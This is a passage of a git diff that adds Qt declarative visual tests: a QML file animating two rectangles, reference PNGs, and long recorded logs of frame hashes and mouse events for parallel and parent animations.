"4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 848 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 864 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 137; y: 74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 880 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 896 + hash: "0fada111cb977c4de8c7499e44714f38" + } + Frame { + msec: 912 + hash: "1817e010332117dcddc1a1b1a2caf52d" + } + Frame { + msec: 928 + hash: "e4add6bf93479c9bca571419fe2fabf9" + } + Frame { + msec: 944 + hash: "d8812e206d2cbf434d58db6a35439a44" + } + Frame { + msec: 960 + image: "parallelAnimation.0.png" + } + Frame { + msec: 976 + hash: "a238178c584aaf2563d29bff927d5bab" + } + Frame { + msec: 992 + hash: "f583e9fe8feda02e796a61c5fed7b0eb" + } + Frame { + msec: 1008 + hash: "b3a1a4fd85912831e551a8c07da1a561" + } + Frame { + msec: 1024 + hash: "f7c111ee4a04af6c1da958f8b56c28ee" + } + Frame { + msec: 1040 + hash: "f53fa374817d81ee44fb98e64e464b36" + } + Frame { + msec: 1056 + hash: "547ddef13cbcaaf57bb1f4e2bb7bc822" + } + Frame { + msec: 1072 + hash: "8b10ccfef926103a6d67d68eee250f83" + } + Frame { + msec: 1088 + hash: "008bbb50dc659e6f5eea15290680edd7" + } + Frame { + msec: 1104 + hash: "0217e3230d3df44363a023d0d7defc5f" + } + Frame { + msec: 1120 + hash: "ab9907a92452de6878f4c346febe705c" + } + Frame { + msec: 1136 + hash: "7bce31f347a7f0598d2d64026c702f3e" + } + Frame { + msec: 1152 + hash: "032080184907bc5b01db7675802d7dbe" + } + Frame { + msec: 1168 + hash: "2cba43a2e5febcc44bfd1379b9cb2591" + } + Frame { + msec: 1184 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1200 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1216 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1232 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1248 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1264 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1280 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1296 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1312 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1328 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1344 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1360 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1376 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1392 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1408 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1424 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1440 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1456 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1472 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1488 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1504 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1520 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1536 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1552 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1568 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1584 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1600 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1616 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1632 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1648 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1664 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1680 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1696 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1712 + hash: "b901a51b5605621adff7b34c61f8f320" + } + Frame { + msec: 1728 + hash: "b901a51b5605621adff7b34c61f8f320" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation.qml new file mode 100644 index 0000000..1980b91 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation.qml @@ -0,0 +1,43 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 200 + Rectangle { + id: redRect + width: 100; height: 100 + color: "red" + } + Rectangle { + id: redRect2 + width: 100; height: 100 + y: 100 + color: "red" + } + + MouseArea { + anchors.fill: parent + onClicked: parent.state = "state1" + } + + states: State { + name: "state1" + PropertyChanges { + target: redRect + x: 300 + color: "purple" + } + PropertyChanges { + target: redRect2 + x: 300 + color: "purple" + } + } + + transitions: Transition { + PropertyAnimation { targets: redRect; properties: "x,color"; duration: 300 } + ParallelAnimation { + NumberAnimation { targets: redRect2; properties: "x"; duration: 300 } + ColorAnimation { targets: redRect2; properties: "color"; duration: 300 } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.0.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.0.png new file mode 100644 index 0000000..7d41abc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.1.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.1.png new file mode 100644 index 0000000..16b95ab Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.2.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.2.png new file mode 100644 index 0000000..7d41abc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.3.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.3.png new file mode 100644 index 0000000..800bf12 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.4.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.4.png new file mode 100644 index 0000000..d0155bb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.4.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.5.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.5.png new file mode 100644 index 0000000..7d41abc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.5.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml new file mode 100644 index 0000000..5718560 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml @@ -0,0 +1,1663 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 32 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 48 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 64 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 80 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 96 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 112 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 128 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 144 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 160 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 176 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 192 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 208 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 224 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 240 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 256 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 272 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 288 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 304 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 320 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 336 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 352 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 368 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 384 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 400 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 416 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 432 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 448 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 464 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 480 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 496 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 512 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 528 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 544 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 560 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 576 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 592 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 608 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 624 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 640 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 656 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 672 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 688 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 704 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 720 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 736 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 752 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 768 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 784 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 800 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 816 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 832 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 848 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 864 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 880 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 896 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 912 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 928 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 944 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 960 + image: "parentAnimation.0.png" + } + Frame { + msec: 976 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 992 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1008 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1024 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1040 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1056 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1072 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1088 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1104 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1120 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1136 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1152 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1168 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1184 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1200 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1216 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1232 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1248 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1264 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1280 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1296 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1312 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1328 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1344 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1360 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1376 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1392 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1408 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1424 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1440 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1456 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1472 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1488 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1504 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1520 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1536 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1552 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1568 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 1584 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 1600 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 1616 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 1632 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 1648 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 1664 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 1680 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 1696 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 1712 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Frame { + msec: 1728 + hash: "f1daed3391f10e27435a54222df8d0ab" + } + Frame { + msec: 1744 + hash: "99704e182267f2c12d0215b9c03f4d68" + } + Frame { + msec: 1760 + hash: "143cd9259a41b8af5d41a5b2aaf8de64" + } + Frame { + msec: 1776 + hash: "b5f0a0f838b5870c162a24cd767f068b" + } + Frame { + msec: 1792 + hash: "c5c8cdcbfab7466e447eaff582bf7312" + } + Frame { + msec: 1808 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1824 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1840 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1856 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1872 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1888 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1904 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1920 + image: "parentAnimation.1.png" + } + Frame { + msec: 1936 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1952 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1968 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1984 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2000 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2016 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2032 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2048 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2064 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2080 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2096 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2112 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2128 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2144 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2160 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2176 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2192 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2208 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2224 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2240 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2256 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2272 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2288 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2304 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2320 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2336 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2352 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2368 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2384 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2400 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2416 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2432 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2448 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2464 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2480 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2496 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2512 + hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" + } + Frame { + msec: 2528 + hash: "ec0e68c2e7a75fedd1091ce633dadd4f" + } + Frame { + msec: 2544 + hash: "a5d60efc176dee9083a2d746e7ad8315" + } + Frame { + msec: 2560 + hash: "48bcbbacf413080247f818e35e496e04" + } + Frame { + msec: 2576 + hash: "c521af8efa19fbac39119ad75cd469f5" + } + Frame { + msec: 2592 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 2608 + hash: "eeb3f4467ebd7ee678c3b7371db28519" + } + Frame { + msec: 2624 + hash: "9c5b9009a35b74d0ddec8fec85f204bf" + } + Frame { + msec: 2640 + hash: "aefc70824e23428aebf0a40830a57469" + } + Frame { + msec: 2656 + hash: "1fa9c23760193b74b0063b4e4c434070" + } + Frame { + msec: 2672 + hash: "8091700d4729163bd87521385853e608" + } + Frame { + msec: 2688 + hash: "a13558e609570f9390f20a85d244fa22" + } + Frame { + msec: 2704 + hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" + } + Frame { + msec: 2720 + hash: "51c8ae31f858121d86ef09cc9a5c5ef3" + } + Frame { + msec: 2736 + hash: "84ce8f39207f4b07c2c3323425a8c238" + } + Frame { + msec: 2752 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2768 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2784 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2800 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2816 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2832 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2848 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2864 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2880 + image: "parentAnimation.2.png" + } + Frame { + msec: 2896 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2912 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2928 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2944 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2960 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2976 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2992 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3008 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3024 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3040 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3056 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3072 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3088 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3104 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3120 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3136 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3152 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3168 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3184 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3200 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3216 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3232 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3248 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3264 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3280 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3296 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3312 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3328 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3344 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3360 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3376 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3392 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3408 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 3424 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 3440 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 3456 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 3472 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 3488 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 3504 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 3520 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 3536 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 3552 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3568 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Frame { + msec: 3584 + hash: "d7bf1b48f1a03974e7f095468e07f037" + } + Frame { + msec: 3600 + hash: "a59ab4fe1c22d27b5cdde949cf90e6f4" + } + Frame { + msec: 3616 + hash: "7c3082720e65b8a6217bf5a5fe4d48c0" + } + Frame { + msec: 3632 + hash: "350d1ff24fb8fba0ab8a6694d99544b3" + } + Frame { + msec: 3648 + hash: "81d17a62c33d79ed25968ec47771d292" + } + Frame { + msec: 3664 + hash: "43fd3ef88bd7a2e5bf4546f088783077" + } + Frame { + msec: 3680 + hash: "041938ad2e023202db18df28f2329c8f" + } + Frame { + msec: 3696 + hash: "ec8677eae06cbf77a9508953325b179e" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "ec8677eae06cbf77a9508953325b179e" + } + Frame { + msec: 3728 + hash: "453026339c3901ee286831b4b41088f6" + } + Frame { + msec: 3744 + hash: "d58a7a41ade691cc0acfb0303bfc3b68" + } + Frame { + msec: 3760 + hash: "a200b05ef3d7e39e11513fd2f8ff1497" + } + Frame { + msec: 3776 + hash: "faa1223975acdf2d4b48045d7f2ce445" + } + Frame { + msec: 3792 + hash: "964d9b80d82d0fe3d3fb328a1661a60e" + } + Frame { + msec: 3808 + hash: "705871bc384de93100354acb19b371b0" + } + Frame { + msec: 3824 + hash: "1a4480463adfc5a3d525916b03c2c3ce" + } + Frame { + msec: 3840 + image: "parentAnimation.3.png" + } + Frame { + msec: 3856 + hash: "9a55bdf428f45f02d9c8cf414dcd7754" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3872 + hash: "9a55bdf428f45f02d9c8cf414dcd7754" + } + Frame { + msec: 3888 + hash: "0f6d82d02ce7d79a1bdf6bf81791f321" + } + Frame { + msec: 3904 + hash: "b145b9d299714020686069baec11cb71" + } + Frame { + msec: 3920 + hash: "5dbf5e4151c01f10cf23b07ca1df56ab" + } + Frame { + msec: 3936 + hash: "822d4397ac514673ca1015ad05c9b4ac" + } + Frame { + msec: 3952 + hash: "461d35e865153d22e9a67bb0ffddefb7" + } + Frame { + msec: 3968 + hash: "676fff498e6879144090d5596056c6c8" + } + Frame { + msec: 3984 + hash: "854da7ed627237250e20b263f9eb9d90" + } + Frame { + msec: 4000 + hash: "157ec877797883d329ff329537205d02" + } + Frame { + msec: 4016 + hash: "613669ca60240fcc490d548fe802390d" + } + Frame { + msec: 4032 + hash: "803e84f027c773db96f9530511e5fedb" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + 